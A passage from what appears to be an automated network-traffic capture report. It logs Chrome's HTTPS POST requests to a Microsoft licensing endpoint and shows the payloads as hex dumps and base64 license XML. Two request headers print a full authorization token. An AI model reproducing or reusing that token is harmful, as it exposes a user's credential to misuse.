48 4f 57 5a 6c 63 30 35 73 57 55 74 57 4d 33 6c 69 65 55 35 79 53 48 6c 36 5a 32 78 6d 57 6c 42 53 51 6a 56 56 53 6c 7
0 33 4d 7a 4a 35 61 54 41 7a 65 6c 46 68 4b 30 78 4d 59 54 41 31 5a 6d 70 7a 4e 6d 70 76 52 57 31 73 53 47 4d 31 51 
6e 4a 48 55 58 4a 48 63 6d 4a 4f 54 55 4a 68 61 48 6f 30 59 32 31 31 65 45 74 44 4e 43 39 6b 61 45 56 69 4e 30 70 61 
52 6c 56 72 59 7a 42 4e 55 6d 68 7a 4c 30 30 7a 56 6d 55 31 4d 54 46 49 55 57 5a 4c 64 55 63 72 4f 54 4a 6e 4d 55 39 
6d 5a 6b 70 6b 55 6e 4e 42 55 48 70 58 55 6d 52 7a 61 31 42 76 54 6a 4d 31 
Data Ascii: UhaemJkQnZ4SnZLaHBicnE2WlAwRnNTRWxMd1JvTEFtdjd6SXVWdzNWYjd0ZlF0NWJqQ0RIUkFHOWZ
lc05sWUtWM3lieU5ySHl6Z2xmWlBSQjVVSlp3MzJ5aTAzelFhK0xMYTA1ZmpzNmpvRW1sSGM1QnJHUXJHcmJOTUJha
Ho0Y211eEtDNC9kaEViN0paRlVrYzBNUmhzL00zVmU1MTFIUWZLdUcrOTJnMU9mZkpkUnNBUHpXUmRza1BvTjM1

2022-07-01 09:01:26 UTC 2191 IN Data Raw: 75 55 48 4a 70 62 6e 51 7a 52 46 38 34 64 32 56 72 65 57 49 7a 5a 44 68 69 59 6e 64 6c 50 43 39 42 63 33 
4e 76 59 32 6c 68 64 47 56 6b 55 45 5a 4f 63 7a 34 38 54 47 56 68 63 32 56 53 5a 57 35 6c 64 32 46 73 55 47 56 79 61 
57 39 6b 50 6a 49 77 4d 54 59 77 50 43 39 4d 5a 57 46 7a 5a 56 4a 6c 62 6d 56 33 59 57 78 51 5a 58 4a 70 62 32 51 2b 
50 43 39 43 61 57 35 6b 61 57 35 6e 50 6a 78 4d 61 57 4e 6c 62 6e 4e 6c 53 57 35 6d 62 79 42 55 65 58 42 6c 50 53 4a 
4d 5a 57 46 7a 5a 53 49 67 54 47 6c 6a 5a 57 35 7a 5a 56 56 7a 59 57 64 6c 50 53 4a 50 62 6d 78 70 62 6d 55 69 49 45 
78 70 59 32 56 75 63 32 56 44 59 58 52 6c 5a 32 39 79 65 54 30 69 55 6d 56 30 59 57 6c 73 49 6a 34 38 53 58 4e 7a 64 
57 56 6b 52 47 46 30 5a 54 34 79 4d 44 49 79 4c 54 41 33 4c 54 41 78 56 44 
Data Ascii: uUHJpbnQzRF84d2VreWIzZDhiYndlPC9Bc3NvY2lhdGVkUEZOcz48TGVhc2VSZW5ld2FsUGVyaW9kP
jIwMTYwPC9MZWFzZVJlbmV3YWxQZXJpb2Q+PC9CaW5kaW5nPjxMaWNlbnNlSW5mbyBUeXBlPSJMZWFzZ
SIgTGljZW5zZVVzYWdlPSJPbmxpbmUiIExpY2Vuc2VDYXRlZ29yeT0iUmV0YWlsIj48SXNzdWVkRGF0ZT4yMDIyLTA
3LTAxVD

2022-07-01 09:01:26 UTC 2192 IN Data Raw: 51 56 6c 5a 55 53 6d 35 43 64 6d 4a 48 62 47 70 6c 56 6c 49 31 59 30 64 56 4f 56 4a 48 56 6a 4a 68 56 30 35 
73 53 57 6c 33 61 57 45 79 56 6a 56 54 56 31 4a 36 53 57 70 77 59 6b 6c 71 57 58 64 4e 52 31 6b 77 54 6d 31 4a 64 30 
78 55 59 33 68 4f 65 6b 31 30 57 54 4a 53 61 30 31 35 4d 44 46 61 56 31 70 70 54 46 52 4b 61 56 70 71 52 58 68 4e 52 
31 5a 74 54 57 70 4e 64 31 6c 35 53 6d 52 4d 51 30 70 79 59 56 63 31 61 30 6c 71 62 32 6c 52 4d 6a 6c 31 5a 45 64 57 
64 57 52 44 53 58 4e 4a 62 6b 4a 6f 57 54 4a 30 61 46 6f 79 56 6e 70 4a 61 6e 42 69 5a 58 6c 4b 64 31 6c 58 54 6e 4a 
5a 56 32 52 73 55 31 64 53 62 47 4a 75 55 6e 42 61 62 57 78 73 59 32 6c 4a 4e 6b 6c 71 57 6d 74 5a 56 45 35 72 54 6c 
64 4e 64 30 78 58 52 54 42 4f 61 6b 46 30 54 6b 64 56 4d 46 70 54 4d 48 
Data Ascii: QVlZUSm5CdmJHbGplVlI1Y0dVOVJHVjJhV05sSWl3aWEyVjVTV1J6SWpwYklqWXdNR1kwTm1Jd0xUY
3hOek10WTJSa015MDFaV1ppTFRKaVpqRXhNR1ZtTWpNd1l5SmRMQ0pyYVc1a0lqb2lRMjl1ZEdWdWRDS
XNJbkJoWTJ0aFoyVnpJanBiZXlKd1lXTnJZV2RsU1dSbGJuUnBabWxsY2lJNklqWmtZVE5rTldNd0xXRTBOakF0Tkd
VMFpTMH

2022-07-01 09:01:26 UTC 2193 IN Data Raw: 31 4d 47 39 70 63 6d 38 77 64 54 4e 5a 4e 6c 42 30 4d 6a 41 35 52 30 64 4b 59 57 74 6a 63 32 4e 56 51 33 
41 35 4e 57 46 72 52 45 78 47 51 58 6c 78 50 43 39 54 55 45 78 70 59 32 56 75 63 32 56 43 62 47 39 6a 61 7a 34 38 55 
32 6c 6e 62 6d 46 30 64 58 4a 6c 49 48 68 74 62 47 35 7a 50 53 4a 6f 64 48 52 77 4f 69 38 76 64 33 64 33 4c 6e 63 7a 4
c 6d 39 79 5a 79 38 79 4d 44 41 77 4c 7a 41 35 4c 33 68 74 62 47 52 7a 61 57 63 6a 49 6a 34 38 55 32 6c 6e 62 6d 56 
6b 53 57 35 6d 62 7a 34 38 51 32 46 75 62 32 35 70 59 32 46 73 61 58 70 68 64 47 6c 76 62 6b 31 6c 64 47 68 76 5a 43 
42 42 62 47 64 76 63 6d 6c 30 61 47 30 39 49 6d 68 30 64 48 41 36 4c 79 39 33 64 33 63 75 64 7a 4d 75 62 33 4a 6e 4c 
7a 49 77 4d 44 45 76 4d 54 41 76 65 47 31 73 4c 57 56 34 59 79 31 6a 4d 54 
Data Ascii: 1MG9pcm8wdTNZNlB0MjA5R0dKYWtjc2NVQ3A5NWFrRExGQXlxPC9TUExpY2Vuc2VCbG9jaz48U2lnb
mF0dXJlIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwLzA5L3htbGRzaWcjIj48U2lnbmVkSW5mbz48Q2Fub25
pY2FsaXphdGlvbk1ldGhvZCBBbGdvcml0aG09Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvMTAveG1sLWV4Yy1jMT

2022-07-01 09:01:26 UTC 2194 IN Data Raw: 77 55 44 56 78 4e 6b 6b 34 64 55 78 6c 51 6d 77 77 52 7a 42 70 4d 55 6f 77 52 47 64 5a 65 57 68 70 64 54 
64 56 4f 44 63 34 56 54 5a 69 59 55 49 34 53 57 78 6e 62 46 51 34 54 6e 70 61 65 6b 31 52 62 56 56 57 63 30 49 33 4e 
54 46 79 52 31 56 30 4d 6e 64 61 61 6e 52 79 57 45 74 58 57 55 4e 79 52 7a 56 4c 64 55 78 6b 56 6b 63 31 4e 30 74 32 
5a 32 35 47 5a 48 46 32 63 6a 5a 57 64 31 6c 50 63 48 6b 34 53 6b 4d 72 4d 6a 5a 50 4d 31 59 31 53 32 64 56 65 55 35 
78 4b 31 4e 58 59 6d 56 33 55 6c 5a 56 51 6c 56 71 53 31 52 6a 4e 79 74 68 55 6e 4a 53 52 56 5a 48 4f 58 4a 76 4e 6b 
5a 34 52 6a 63 78 51 6c 64 6a 55 45 67 72 64 7a 30 39 50 43 39 54 61 57 64 75 59 58 52 31 63 6d 56 57 59 57 78 31 5a 
54 34 38 53 32 56 35 53 57 35 6d 62 79 42 4a 5a 44 30 69 58 7a 42 6d 4f 44 
Data Ascii: wUDVxNkk4dUxlQmwwRzBpMUowRGdZeWhpdTdVODc4VTZiYUI4SWxnbFQ4Tnpaek1RbVVWc0I3NTFyR
1V0MndaanRyWEtXWUNyRzVLdUxkVkc1N0t2Z25GZHF2cjZWd1lPcHk4SkMrMjZPM1Y1S2dVeU5xK1NXYmV3UlZVQlV
qS1RjNythUnJSRVZHOXJvNkZ4RjcxQldjUEgrdz09PC9TaWduYXR1cmVWYWx1ZT48S2V5SW5mbyBJZD0iXzBmOD

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

126 192.168.2.5 49893 20.123.104.105 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data
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2022-07-01 09:01:26 UTC 2195 OUT POST /v7.0/licenses/content HTTP/1.1
Connection: Keep-Alive
Content-Type: application/json; charset=utf-8
Authorization: t=EwCoBF8iAQAUkOrzy5O8+zKmOLh4X1kZomC7Ye8AAXIEoR7zVBsigo9+ELiiOPQgXNnqxslE8
JGHvlJPLIUUKouiwbgUni88ojzdGkdqFYYxxM5X9Ms5ydSvJFd3DZPMh0fLqF+d6noF2yzw2kJ7MwjAqWkQK0UX/a2
X3ShCSw11oNjoZpYc16pKFSkiL1guCryQknhJFxUNvpcM/mUO4J45kW/UANpVJMg9gDEiHFbRMPVe4XwtYHsROYOhh
Wh/1ix6VL6WuHyfvlkfekuIUUqh1k5GyjH1OMI7ATpSB8ZlpG7DvmA3TMU3Avh/Kyp20u4YfE7FQeZk27MtQODcOqx
r47CWO34DzhVOwzM6ckzQAjwiuN4oCNPUinxYaD0DZgAACCrsBL0oic4EeAOxmnWWC6VaWWaLWlPjwhzf4JoklMOzh
LlxAXqZ23+nx5n2ghWbB319xUQ3gAHi3vutcxW0EYu4MoFf+3kVo1VdxJihYML7fchf2azHMJStufF7tKl11N72gUB
sJi5iZnOXwfiB7B4lKYh3x5vZ2KfPdIQStUnZOBptzrf7x9RPD8cDFe3o++PVGJsK8Jb2tq3kr+aeLhzm6Id/kr4ZH
PHmS3ldf61PYLln9fL17+PWsOsDHkz7/Rl0+eJgZtP1dgC3Vu5dOF0ACzpt4zvm3HqYlTsG16p6VMyOYHZrX2KJdif
VOH7f5OVMjlGaj1tZF9GhBm752zHRZqQQkTMB4R+Nz1RDhkRmcRRnI9JO7BgjQPwOFZSe8xBvKNrcPLP
5ARJ+GJWSS5xjFAVxT6uAZU6MwHnGrgT4x+vlMWUJxDsAx5/JKY5/EF219tMGD8hQCSb+fb9BYFL3F/aagO162MKam
bsxMIrRucH374Xi4bDQj7VBOPrBWkuclUT148aGjNJYqtpiMS/CiRaXz+Ds/pTq2P6mniYMoIwVB14Ps6wwnJ7RAlS
tc2SEkcWZV3Tio45sCxl9Zv9vuHmKEnXU7PuS7sG3zVsKVc12aop7rUVT8EQGh0jDTpl80tIrJMRQfVvKwNlG8xLTR
T2bxdMM1RPSvLRZ0doPPBQ3xLXWQ3AOCEyFyjQ/3hYO1b2xE2a+Dswj3BOIQDshGKECzOKyj2OdWRMnLy8otyr8IAf
u3uGmgVPtbCFfgKzSvpCybywmW989QKSTFu7Xrn7DLafyfCoTZJfDD7fkjkVirFvnQPIUInsun19F2pNKrMq1KUwFz
u8mZkEDqtnjX6LEawC9VA62+L/kyJdSzdwQNJBD1ewtgiQX0Lu/9d9/R0AgVII3uTtGH5CloikBHjbJhfFY7Co6uZe
ZOKIL/9qmVDSc7ff3xKZQJAKLas3lHwfAKBvefbIQ9FzAKvSiqq+hbWggytvlVxJr8fM88U3K/WlkXyvavlNwqIZuU
m7uQ4szU1RF6ZfgnjC5jF1x4tKS1UK/+vxQ9XblOb3PX59I7PdoyRyFpdfPtDTGTIut8eygNRhAKN1krjohs2/yTrO
dj6AbKvNsNeUXEHVkksCLA71M2H9ls/e0KWUp8HWM22VCicNvgzoiFBn/5mw21CbanZYybAyWwpzHha4+PUKdAw==&
p=
User-Agent: LM
MS-CV: UznHpAHqV0GMBdER.13
Content-Length: 4293
Host: licensing.mp.microsoft.com

2022-07-01 09:01:26 UTC 2197 OUT Data Raw: 7b 22 63 6c 69 65 6e 74 43 68 61 6c 6c 65 6e 67 65 22 3a 22 50 44 39 34 62 57 77 67 64 6d 56 79 63 32 6c 
76 62 6a 30 69 4d 53 34 77 49 69 42 6c 62 6d 4e 76 5a 47 6c 75 5a 7a 30 69 64 58 52 6d 4c 54 67 69 49 44 38 2b 50 45 
4e 73 61 57 56 75 64 45 4e 6f 59 57 78 73 5a 57 35 6e 5a 53 42 34 62 57 78 75 63 7a 70 34 63 32 6b 39 49 6d 68 30 64 
48 41 36 4c 79 39 33 64 33 63 75 64 7a 4d 75 62 33 4a 6e 4c 7a 49 77 4d 44 45 76 57 45 31 4d 55 32 4e 6f 5a 57 31 68 
4c 57 6c 75 63 33 52 68 62 6d 4e 6c 49 69 42 34 62 57 78 75 63 7a 70 34 63 32 51 39 49 6d 68 30 64 48 41 36 4c 79 39 
33 64 33 63 75 64 7a 4d 75 62 33 4a 6e 4c 7a 49 77 4d 44 45 76 57 45 31 4d 55 32 4e 6f 5a 57 31 68 49 69 42 34 62 57 
78 75 63 7a 30 69 61 48 52 30 63 44 6f 76 4c 33 4e 6a 61 47 56 74 59 58 4d 
Data Ascii: {"clientChallenge":"PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiID8+PENsaWVudENoYWxs
ZW5nZSB4bWxuczp4c2k9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hLWluc3RhbmNlIiB4bWxuczp4c2
Q9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hIiB4bWxucz0iaHR0cDovL3NjaGVtYXM

2022-07-01 09:01:26 UTC 2201 IN HTTP/1.1 200 OK
Connection: close
Date: Fri, 01 Jul 2022 09:01:25 GMT
Content-Type: application/json; charset=utf-8
Server: Kestrel
Content-Length: 7977
MS-CorrelationId: d0f45b10-05b6-469a-a6f5-a6f5a567a087
MS-RequestId: de7b3587-df5e-4479-877e-95da2cdb5f2a
MS-CV: UznHpAHqV0GMBdER.13.1530939289.0.0
X-Content-Type-Options: nosniff
MS-ServerId: ent-bc5c55848-kq87r

2022-07-01 09:01:26 UTC 2201 IN Data Raw: 7b 22 6c 69 63 65 6e 73 65 22 3a 7b 22 6b 65 79 73 22 3a 5b 7b 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 64 
72 6d 54 79 70 65 22 3a 22 4d 6b 6d 73 22 2c 22 6b 65 79 49 64 22 3a 22 36 37 34 34 37 62 30 63 2d 30 35 63 66 2d 36 
37 34 30 2d 35 66 37 62 2d 33 39 31 61 62 34 34 30 63 34 32 64 22 7d 2c 22 76 61 6c 75 65 22 3a 22 50 45 78 70 59 32 
56 75 63 32 55 67 65 47 31 73 62 6e 4d 36 65 48 4e 6b 50 53 4a 6f 64 48 52 77 4f 69 38 76 64 33 64 33 4c 6e 63 7a 4c 
6d 39 79 5a 79 38 79 4d 44 41 78 4c 31 68 4e 54 46 4e 6a 61 47 56 74 59 53 49 67 65 47 31 73 62 6e 4d 36 65 48 4e 70 
50 53 4a 6f 64 48 52 77 4f 69 38 76 64 33 64 33 4c 6e 63 7a 4c 6d 39 79 5a 79 38 79 4d 44 41 78 4c 31 68 4e 54 46 4e 
6a 61 47 56 74 59 53 31 70 62 6e 4e 30 59 57 35 6a 5a 53 49 67 53 55 51 39 
Data Ascii: {"license":{"keys":[{"metadata":{"drmType":"Mkms","keyId":"67447b0c-05cf-6740-5f7b-391ab440c42d"},
"value":"PExpY2Vuc2UgeG1sbnM6eHNkPSJodHRwOi8vd3d3LnczLm9yZy8yMDAxL1hNTFNjaGVtYSIgeG1sbnM6e
HNpPSJodHRwOi8vd3d3LnczLm9yZy8yMDAxL1hNTFNjaGVtYS1pbnN0YW5jZSIgSUQ9

2022-07-01 09:01:26 UTC 2202 IN Data Raw: 56 51 77 4d 44 6f 79 4d 44 6f 77 4d 43 34 77 4d 7a 63 79 4e 7a 6b 79 57 6a 77 76 51 6d 56 6e 61 57 35 45 59 
58 52 6c 50 6a 77 76 54 47 6c 6a 5a 57 35 7a 5a 55 6c 75 5a 6d 38 2b 50 45 4e 31 63 33 52 76 62 56 42 76 62 47 6c 6a 
61 57 56 7a 50 6d 56 35 53 6e 4e 61 56 32 52 6f 57 54 4e 73 55 57 4e 74 4f 57 74 6b 56 30 34 77 55 31 64 52 61 55 39 
70 53 54 46 4f 65 6d 78 74 57 58 70 52 65 6b 35 35 4d 57 74 4e 65 6d 73 30 54 46 52 52 65 45 31 58 54 58 52 5a 56 46 
70 71 54 6c 4d 78 61 30 31 45 52 6d 31 61 52 46 45 78 54 57 70 4f 61 55 39 55 55 57 6c 6d 55 54 30 39 50 43 39 44 64 
58 4e 30 62 32 31 51 62 32 78 70 59 32 6c 6c 63 7a 34 38 55 31 42 4d 61 57 4e 6c 62 6e 4e 6c 51 6d 78 76 59 32 73 2b 
52 6b 46 42 51 55 46 4d 55 55 46 42 51 55 52 4b 51 55 46 42 51 55 4e 6e 
Data Ascii: VQwMDoyMDowMC4wMzcyNzkyWjwvQmVnaW5EYXRlPjwvTGljZW5zZUluZm8+PEN1c3RvbVBvbGljaWV
zPmV5SnNaV2RoWTNsUWNtOWtkV04wU1dRaU9pSTFOemxtWXpRek55MWtNems0TFRReE1XTXRZVFpqTlM
xa01ERm1aRFExTWpOaU9UUWlmUT09PC9DdXN0b21Qb2xpY2llcz48U1BMaWNlbnNlQmxvY2s+RkFBQUF
MUUFBQURKQUFBQUNn

2022-07-01 09:01:26 UTC 2203 IN Data Raw: 46 4a 6c 5a 6d 56 79 5a 57 35 6a 5a 53 42 56 55 6b 6b 39 49 69 49 2b 50 46 52 79 59 57 35 7a 5a 6d 39 79 
62 58 4d 2b 50 46 52 79 59 57 35 7a 5a 6d 39 79 62 53 42 42 62 47 64 76 63 6d 6c 30 61 47 30 39 49 6d 68 30 64 48 41 
36 4c 79 39 33 64 33 63 75 64 7a 4d 75 62 33 4a 6e 4c 7a 49 77 4d 44 41 76 4d 44 6b 76 65 47 31 73 5a 48 4e 70 5a 79 
4e 6c 62 6e 5a 6c 62 47 39 77 5a 57 51 74 63 32 6c 6e 62 6d 46 30 64 58 4a 6c 49 69 41 76 50 6a 77 76 56 48 4a 68 62 
6e 4e 6d 62 33 4a 74 63 7a 34 38 52 47 6c 6e 5a 58 4e 30 54 57 56 30 61 47 39 6b 49 45 46 73 5a 32 39 79 61 58 52 6f 
62 54 30 69 61 48 52 30 63 44 6f 76 4c 33 64 33 64 79 35 33 4d 79 35 76 63 6d 63 76 4d 6a 41 77 4d 53 38 77 4e 43 39 
34 62 57 78 6c 62 6d 4d 6a 63 32 68 68 4d 6a 55 32 49 69 41 76 50 6a 78 45 
Data Ascii: FJlZmVyZW5jZSBVUkk9IiI+PFRyYW5zZm9ybXM+PFRyYW5zZm9ybSBBbGdvcml0aG09Imh0dHA6Ly9
3d3cudzMub3JnLzIwMDAvMDkveG1sZHNpZyNlbnZlbG9wZWQtc2lnbmF0dXJlIiAvPjwvVHJhbnNmb3Jtcz48RGlnZ
XN0TWV0aG9kIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8wNC94bWxlbmMjc2hhMjU2IiAvPjxE

Timestamp
kBytes
transferred

Direction Data
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2022-07-01 09:01:26 UTC 2204 IN Data Raw: 6c 4e 77 63 45 4e 42 54 79 74 70 62 6a 6c 51 54 30 78 58 5a 45 4d 79 4c 31 52 52 62 32 52 6e 5a 55 68 61 
65 6d 4a 6b 51 6e 5a 34 53 6e 5a 4c 61 48 42 69 63 6e 45 32 57 6c 41 77 52 6e 4e 54 52 57 78 4d 64 31 4a 76 54 45 46 
74 64 6a 64 36 53 58 56 57 64 7a 4e 57 59 6a 64 30 5a 6c 46 30 4e 57 4a 71 51 30 52 49 55 6b 46 48 4f 57 5a 6c 63 30 
35 73 57 55 74 57 4d 33 6c 69 65 55 35 79 53 48 6c 36 5a 32 78 6d 57 6c 42 53 51 6a 56 56 53 6c 70 33 4d 7a 4a 35 61 
54 41 7a 65 6c 46 68 4b 30 78 4d 59 54 41 31 5a 6d 70 7a 4e 6d 70 76 52 57 31 73 53 47 4d 31 51 6e 4a 48 55 58 4a 48 
63 6d 4a 4f 54 55 4a 68 61 48 6f 30 59 32 31 31 65 45 74 44 4e 43 39 6b 61 45 56 69 4e 30 70 61 52 6c 56 72 59 7a 42 
4e 55 6d 68 7a 4c 30 30 7a 56 6d 55 31 4d 54 46 49 55 57 5a 4c 64 55 63 72 
Data Ascii: lNwcENBTytpbjlQT0xXZEMyL1RRb2RnZUhaemJkQnZ4SnZLaHBicnE2WlAwRnNTRWxMd1JvTEFtdjd
6SXVWdzNWYjd0ZlF0NWJqQ0RIUkFHOWZlc05sWUtWM3lieU5ySHl6Z2xmWlBSQjVVSlp3MzJ5aTAzelFhK0xMYTA1Z
mpzNmpvRW1sSGM1QnJHUXJHcmJOTUJhaHo0Y211eEtDNC9kaEViN0paRlVrYzBNUmhzL00zVmU1MTFIUWZLdUcr

2022-07-01 09:01:26 UTC 2205 IN Data Raw: 42 63 33 4e 76 59 32 6c 68 64 47 56 6b 55 45 5a 4f 63 7a 35 4e 61 57 4e 79 62 33 4e 76 5a 6e 51 75 56 32 6c 
75 5a 47 39 33 63 30 46 73 59 58 4a 74 63 31 38 34 64 32 56 72 65 57 49 7a 5a 44 68 69 59 6e 64 6c 50 43 39 42 63 33 
4e 76 59 32 6c 68 64 47 56 6b 55 45 5a 4f 63 7a 34 38 54 47 56 68 63 32 56 53 5a 57 35 6c 64 32 46 73 55 47 56 79 61 
57 39 6b 50 6a 45 79 4f 54 59 77 4d 44 77 76 54 47 56 68 63 32 56 53 5a 57 35 6c 64 32 46 73 55 47 56 79 61 57 39 6b 
50 6a 77 76 51 6d 6c 75 5a 47 6c 75 5a 7a 34 38 54 47 6c 6a 5a 57 35 7a 5a 55 6c 75 5a 6d 38 67 56 48 6c 77 5a 54 30 
69 54 47 56 68 63 32 55 69 49 45 78 70 59 32 56 75 63 32 56 56 63 32 46 6e 5a 54 30 69 54 32 35 73 61 57 35 6c 49 69 
42 4d 61 57 4e 6c 62 6e 4e 6c 51 32 46 30 5a 57 64 76 63 6e 6b 39 49 6c 
Data Ascii: Bc3NvY2lhdGVkUEZOcz5NaWNyb3NvZnQuV2luZG93c0FsYXJtc184d2VreWIzZDhiYndlPC9Bc3NvY
2lhdGVkUEZOcz48TGVhc2VSZW5ld2FsUGVyaW9kPjEyOTYwMDwvTGVhc2VSZW5ld2FsUGVyaW9kPjwvQ
mluZGluZz48TGljZW5zZUluZm8gVHlwZT0iTGVhc2UiIExpY2Vuc2VVc2FnZT0iT25saW5lIiBMaWNlbnNlQ2F0ZWdvcnk9Il

2022-07-01 09:01:26 UTC 2206 IN Data Raw: 48 52 6d 70 68 4d 6b 5a 75 57 6c 68 4e 61 55 39 73 64 44 64 4a 62 6b 4a 6f 57 54 4a 30 61 46 6f 79 56 6b 70 
61 52 31 5a 31 5a 45 64 73 62 57 46 58 56 6e 6c 4a 61 6d 39 70 54 56 52 6f 61 31 70 48 54 54 4a 4f 65 6c 56 30 57 6b 
52 52 4d 30 31 70 4d 48 64 61 52 30 6b 77 54 46 52 72 4d 55 35 71 54 58 52 4f 4d 6c 4a 74 54 6a 4a 4e 65 6b 35 48 57 
54 46 4e 56 45 70 71 53 57 6c 33 61 57 4e 48 52 6d 70 68 4d 6b 5a 75 57 6c 5a 53 4e 57 4e 48 56 57 6c 50 61 55 70 30 
59 7a 4a 73 4e 45 6c 70 64 32 6c 6a 53 45 70 32 57 6b 68 57 61 6d 52 46 52 6d 74 61 52 54 6c 31 59 33 6c 4a 4e 6c 63 
78 4d 48 4e 4a 62 6b 4a 35 59 6a 4a 53 4d 56 6b 7a 55 6b 70 61 51 30 6b 32 53 57 70 73 57 46 64 72 55 6b 39 52 4d 55 
70 48 55 32 70 4f 55 56 56 70 53 58 4e 4a 62 6b 35 79 5a 46 56 73 61 30 
Data Ascii: HRmphMkZuWlhNaU9sdDdJbkJoWTJ0aFoyVkpaR1Z1ZEdsbWFXVnlJam9pTVRoa1pHTTJOelV0WkRRM
01pMHdaR0kwTFRrMU5qTXROMlJtTjJNek5HWTFNVEpqSWl3aWNHRmphMkZuWlZSNWNHVWlPaUp0YzJsN
Elpd2ljSEp2WkhWamRFRmtaRTl1Y3lJNlcxMHNJbkJ5YjJSMVkzUkpaQ0k2SWpsWFdrUk9RMUpHU2pOUVVpSXNJbk5
yZFVsa0

2022-07-01 09:01:26 UTC 2207 IN Data Raw: 6a 49 6a 34 38 55 32 6c 6e 62 6d 56 6b 53 57 35 6d 62 7a 34 38 51 32 46 75 62 32 35 70 59 32 46 73 61 58 
70 68 64 47 6c 76 62 6b 31 6c 64 47 68 76 5a 43 42 42 62 47 64 76 63 6d 6c 30 61 47 30 39 49 6d 68 30 64 48 41 36 4c 
79 39 33 64 33 63 75 64 7a 4d 75 62 33 4a 6e 4c 7a 49 77 4d 44 45 76 4d 54 41 76 65 47 31 73 4c 57 56 34 59 79 31 6a 
4d 54 52 75 49 79 49 67 4c 7a 34 38 55 32 6c 6e 62 6d 46 30 64 58 4a 6c 54 57 56 30 61 47 39 6b 49 45 46 73 5a 32 39 
79 61 58 52 6f 62 54 30 69 61 48 52 30 63 44 6f 76 4c 33 64 33 64 79 35 33 4d 79 35 76 63 6d 63 76 4d 6a 41 77 4d 53 
38 77 4e 43 39 34 62 57 78 6b 63 32 6c 6e 4c 57 31 76 63 6d 55 6a 63 6e 4e 68 4c 58 4e 6f 59 54 49 31 4e 69 49 67 4c 
7a 34 38 55 6d 56 6d 5a 58 4a 6c 62 6d 4e 6c 49 46 56 53 53 54 30 69 49 6a 
Data Ascii: jIj48U2lnbmVkSW5mbz48Q2Fub25pY2FsaXphdGlvbk1ldGhvZCBBbGdvcml0aG09Imh0dHA6Ly93d
3cudzMub3JnLzIwMDEvMTAveG1sLWV4Yy1jMTRuIyIgLz48U2lnbmF0dXJlTWV0aG9kIEFsZ29yaXRobT0iaHR0cDo
vL3d3dy53My5vcmcvMjAwMS8wNC94bWxkc2lnLW1vcmUjcnNhLXNoYTI1NiIgLz48UmVmZXJlbmNlIFVSST0iIj

2022-07-01 09:01:26 UTC 2208 IN Data Raw: 51 62 45 31 4c 56 47 34 77 61 6d 35 77 52 32 52 32 57 45 70 33 53 45 68 53 52 54 56 4e 54 6b 64 4b 4e 31 
68 52 52 7a 56 70 65 69 39 4e 56 7a 6c 53 5a 30 55 76 55 79 39 4f 59 54 4a 35 5a 45 64 6a 5a 7a 30 39 50 43 39 54 61 
57 64 75 59 58 52 31 63 6d 56 57 59 57 78 31 5a 54 34 38 53 32 56 35 53 57 35 6d 62 79 42 4a 5a 44 30 69 58 7a 42 6d 
4f 44 46 69 4d 6a 52 6d 4c 57 4a 6a 4e 44 41 74 4d 6a 63 78 4d 69 30 77 5a 44 56 6b 4c 57 55 33 59 7a 45 77 4d 44 67 
31 59 7a 4d 7a 4d 43 49 2b 50 45 74 6c 65 56 5a 68 62 48 56 6c 50 6a 78 53 55 30 46 4c 5a 58 6c 57 59 57 78 31 5a 54 
34 38 54 57 39 6b 64 57 78 31 63 7a 35 76 56 6c 4e 4b 57 45 6c 30 52 48 4e 68 51 55 6c 6d 64 33 6c 53 4f 57 4a 6f 61 
43 39 61 55 33 42 77 51 30 46 50 4b 32 6c 75 4f 56 42 50 54 46 64 6b 51 7a 
Data Ascii: QbE1LVG4wam5wR2R2WEp3SEhSRTVNTkdKN1hRRzVpei9NVzlSZ0UvUy9OYTJ5ZEdjZz09PC9TaWduY
XR1cmVWYWx1ZT48S2V5SW5mbyBJZD0iXzBmODFiMjRmLWJjNDAtMjcxMi0wZDVkLWU3YzEwMDg1YzMzM
CI+PEtleVZhbHVlPjxSU0FLZXlWYWx1ZT48TW9kdWx1cz5vVlNKWEl0RHNhQUlmd3lSOWJoaC9aU3BwQ0FPK2luOVB
PTFdkQz

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

127 192.168.2.5 49894 20.123.104.105 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data
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2022-07-01 09:01:26 UTC 2209 OUT POST /v7.0/licenses/content HTTP/1.1
Connection: Keep-Alive
Content-Type: application/json; charset=utf-8
Authorization: t=EwCoBF8iAQAUkOrzy5O8+zKmOLh4X1kZomC7Ye8AAXIEoR7zVBsigo9+ELiiOPQgXNnqxslE8
JGHvlJPLIUUKouiwbgUni88ojzdGkdqFYYxxM5X9Ms5ydSvJFd3DZPMh0fLqF+d6noF2yzw2kJ7MwjAqWkQK0UX/a2
X3ShCSw11oNjoZpYc16pKFSkiL1guCryQknhJFxUNvpcM/mUO4J45kW/UANpVJMg9gDEiHFbRMPVe4XwtYHsROYOhh
Wh/1ix6VL6WuHyfvlkfekuIUUqh1k5GyjH1OMI7ATpSB8ZlpG7DvmA3TMU3Avh/Kyp20u4YfE7FQeZk27MtQODcOqx
r47CWO34DzhVOwzM6ckzQAjwiuN4oCNPUinxYaD0DZgAACCrsBL0oic4EeAOxmnWWC6VaWWaLWlPjwhzf4JoklMOzh
LlxAXqZ23+nx5n2ghWbB319xUQ3gAHi3vutcxW0EYu4MoFf+3kVo1VdxJihYML7fchf2azHMJStufF7tKl11N72gUB
sJi5iZnOXwfiB7B4lKYh3x5vZ2KfPdIQStUnZOBptzrf7x9RPD8cDFe3o++PVGJsK8Jb2tq3kr+aeLhzm6Id/kr4ZH
PHmS3ldf61PYLln9fL17+PWsOsDHkz7/Rl0+eJgZtP1dgC3Vu5dOF0ACzpt4zvm3HqYlTsG16p6VMyOYHZrX2KJdif
